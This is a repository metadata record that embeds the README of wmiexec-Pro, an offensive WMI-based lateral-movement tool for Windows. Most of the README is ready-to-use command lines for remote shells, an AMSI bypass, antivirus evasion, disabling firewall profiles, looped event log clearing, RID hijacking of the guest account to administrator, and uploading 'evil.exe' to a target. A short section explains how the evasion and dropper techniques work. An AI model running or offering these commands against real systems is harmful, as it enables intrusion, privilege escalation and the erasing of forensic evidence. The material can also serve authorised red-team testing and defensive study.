{"id":13845137,"url":"https://github.com/XiaoliChan/wmiexec-Pro","last_synced_at":"2025-07-12T01:31:44.993Z","repository":{"id":151172004,"uuid":"623321805","full_name":"XiaoliChan/wmiexec-Pro","owner":"XiaoliChan","description":"New generation of wmiexec.py","archived":false,"fork":false,"pushed_at":"2025-05-27T08:16:23.000Z","size":1013,"stargazers_count":1100,"open_issues_count":1,"forks_count":137,"subscribers_count":9,"default_branch":"main","last_synced_at":"2025-07-05T04:57:50.869Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/XiaoliChan.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-04-04T06:24:07.000Z","updated_at":"2025-07-04T09:11:59.000Z","dependencies_parsed_at":"2024-11-04T12:19:02.265Z","dependency_job_id":"e1799b94-67a4-461a-9d21-0ddc1bc1804f","html_url":"https://github.com/XiaoliChan/wmiexec-Pro","commit_stats":null,"previous_names":[],"tags_count":21,"template":false,"template_full_name":null,"purl":"pkg:github/XiaoliChan/wmiexec-Pro","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/XiaoliChan%2Fwmiexec-Pro","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/XiaoliChan%2Fwmiexec-Pro/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/XiaoliChan%2Fwmiexec-Pro/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/XiaoliChan%2Fwmiexec-Pro/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/XiaoliChan","download_url":"https://codeload.github.com/XiaoliChan/wmiexec-Pro/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/XiaoliChan%2Fwmiexec-Pro/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264923080,"owners_count":23683716,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:03:14.193Z","updated_at":"2025-07-12T01:31:44.202Z","avatar_url":"https://github.com/XiaoliChan.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"\u003ca name=\"readme-top\"\u003e\u003c/a\u003e\n\n# wmiexec-Pro\n\nNew generation of wmiexec.py.\n\n#### Table of Contents\n\u003col\u003e\n\u003cli\u003e\n  \u003ca href=\"#info\"\u003eInfo\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n  \u003ca href=\"#special-thanks\"\u003eSpecial thanks\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n  \u003ca href=\"#features\"\u003eFeatures\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n  \u003ca href=\"#getting-started\"\u003eGetting Started\u003c/a\u003e\n  \u003cul\u003e\n    \u003cli\u003e\u003ca href=\"#installation\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n  \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#usage\"\u003eUsage\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#screenshots\"\u003eScreenshots\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#how-it-works\"\u003eHow it works?\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#disclaimer\"\u003eDisclaimer\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"#references\"\u003eReferences\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n## Info\n\nThe new generation of wmiexec.py, more new features, whole the operations only work with port 135 (don't need smb connection) for AV evasion in lateral movement  (Windows Defender, HuoRong, 360)\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n## Special thanks\n\n##### @[422926799](https://github.com/422926799)\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n## Features\n\n- Main feature: AV Evasion\n- Main feature: No `win32_process` needed\n- Main feature: Only need port 135.\n- New module: AMSI bypass\n- New module: File transfer\n- New module: Remote enable RDP via wmi class method\n- New module: Windows firewall abusing\n- New module: Eventlog looping cleaning\n- New module: Remote enable WinRM without touching CMD\n- New module: Service manager\n- New module: RID-Hijack\n- Enhancement: Get command execution output in new way\n- Enhancement: Execute vbs file\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n## Getting Started\n\n### Installation\n\n_Only need latest version of Impacket_\n\n1. Clone the impacket repository\n   ```sh\n   git clone https://github.com/fortra/impacket\n   ```\n2. Install imapcket\n   ```sh\n   cd imapcket \u0026\u0026 sudo pip3 install .\n   ```\n3. Enjoy it :)\n   ```sh\n   git clone https://github.com/XiaoliChan/wmiexec-Pro\n   ```\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n\n## Usage\n\n```\npython3 wmiexec-pro.py [[domain/]username[:password]@]\u003ctargetName or address\u003e module -h\n\nBasic enumeration:\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 enum -run\n\nEnable/disable amsi bypass:\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -enable\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -disable\n\nExecute command:\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -shell (Launch a semi-interactive shell)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command \"whoami\" (Default is with output mode)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command \"whoami\" -silent (Silent mode)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command \"whoami\" -silent -old (Slient mode in old version OS, such as server 2003)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command \"whoami\" -old (With output in old version OS, such as server 2003)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command \"whoami\" -save (With output and save output to file)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command \"whoami\" -old -save\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -clear (Remove temporary class for command result storage)\n   \nFiletransfer:\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -upload -src-file \"./evil.exe\" -dest-file \"C:\\windows\\temp\\evil.exe\" (Upload file over 512KB)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -download -src-file \"C:\\windows\\temp\\evil.exe\" -dest-file \"/tmp/evil.exe\" (Download file over 512KB)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -clear (Remove temporary class for file transfer)\n   \nRDP:\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable (Auto configure firewall)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable -old (For old version OS, such as server 2003)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable-ram (Disable Restricted Admin Mode)\n\nWinRM (Only support win7+):\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -enable\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -disable\n\nFirewall (Only support win8+):\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -search-port 445\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -dump (Dump all firewall rules)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile enable (Enable all firewall profiles)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile disable (Disable all firewall profiles)\n   \nServices:\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name \"test\" -display-name \"For test\" -bin-path 'C:\\windows\\system32\\calc.exe'\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name \"test\" -display-name \"For test\" -bin-path 'C:\\windows\\system32\\calc.exe' -class \"Win32_TerminalService\" (Create service via alternative class)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action start -service-name \"test\"\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action stop -service-name \"test\"\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action disable -service-name \"test\"\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action auto-start -service-name \"test\"\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action manual-start -service-name \"test\"\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action getinfo -service-name \"test\"\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action delete -service-name \"test\"\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -dump all-services.json\n\nEventlog:\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -risk-i-know (Looping cleaning eventlog)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -retrive object-ID (Stop looping cleaning eventlog)\n\nRID Hijack:\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action activate (Activate user)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action deactivate (Deactivate user)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login enable (Enable blank password login)\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login disable\n   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 500 -action backup (This will save user profile data as json file)\n   python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)\n   python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -restore \"backup.json\" (Restore user profile for target user)\n   \n```\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n\n## Screenshots\n- Help\n  - ![](images/help.png)\n\n- exec-command\n  - ![](images/comand-exec.png)\n\n- filetransfer\n\n  - upload file\n\n    ![](images/upload-file.png)\n\n  - download file  \n\n    ![](images/download-file.png)\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n\n## How it works?\n\n- AMSI module:\n  - Tal-Liberman's technique from blackhat asia 2018.\n\n- exec-command module:\n  - Enhancement of previous project: [wmiexec-RegOut](https://github.com/XiaoliChan/wmiexec-RegOut), get output from wmi class instead of from registry.\n\n- filetransfer module:\n  - For upload: encode the source file as base64 strings into the dropper named `WriteFile.vbs`, then create a new instance of object `ActiveScriptEventConsumer` to execute the dropper.\n  - For download: remote create a class to store data, then execute the encoder `LocalFileIntoClass.vbs` to encode the file and store data into the class that just created.\n\n- rdp module:\n  - For enable/disable: rdp serivces: control `TerminalServices` object directly.\n  - For enable/disable: Restricted Admin Mode: control registry key `DisableRestrictedAdmin` via `StdRegProv` class.\n\n- winrm module:\n  - For enable/disable: invoke service module.\n  - For firewall rules: use module `firewall.py` to configure firewall of winrm.\n\n- firewall module:\n  - Abusing `MSFT_NetProtocolPortFilter`, `MSFT_NetFirewallRule`, `MSFT_NetFirewallProfile` classes.\n\n- service module:\n  - Abusing `Win32_Service` classes.\n\n- eventlog module:\n  - Execute the vbs script file `ClearEventlog.vbs` without remove `event` and `consumer`.\n\n- execute-vbs module:\n  - Picked from `wmipersist.py`.\n\n- classMethodEx method:\n  - For create class: execute the vbs scritp : `CreateClass.vbs` to create simple class. (Why? Have no idea how to use `PutClass` method in impacket.)\n  - For remove class: call `DeleteClass` method to remove class.\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n## Disclaimer\nThe spirit of this Open Source initiative is to help security researchers, and the community, speed up research and educational activities related to the implementation of networking protocols and stacks.\n\nThe information in this repository is for research and educational purposes and not meant to be used in production environments and/or as part of commercial products.\n\nIf you desire to use this code or some part of it for your own uses, we recommend applying proper security development life cycle and secure coding practices, as well as generate and track the respective indicators of compromise according to your needs.\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n## References\n\n* [GhostPack/SharpWMI](https://github.com/GhostPack/SharpWMI)\n* [impacket](https://github.com/fortra/impacket/)\n* [WMIHACKER](https://github.com/rootclay/WMIHACKER)\n* [Microsoft WMI Docs](https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/operating-system-classes)\n* [Microsoft VBScripts Docs](https://learn.microsoft.com/en-us/windows/win32/wmisdk/creating-a-wmi-script)\n\n\u003cp align=\"right\"\u003e(\u003ca href=\"#readme-top\"\u003eback to top\u003c/a\u003e)\u003c/p\u003e\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FXiaoliChan%2Fwmiexec-Pro","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FXiaoliChan%2Fwmiexec-Pro","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FXiaoliChan%2Fwmiexec-Pro/lists"}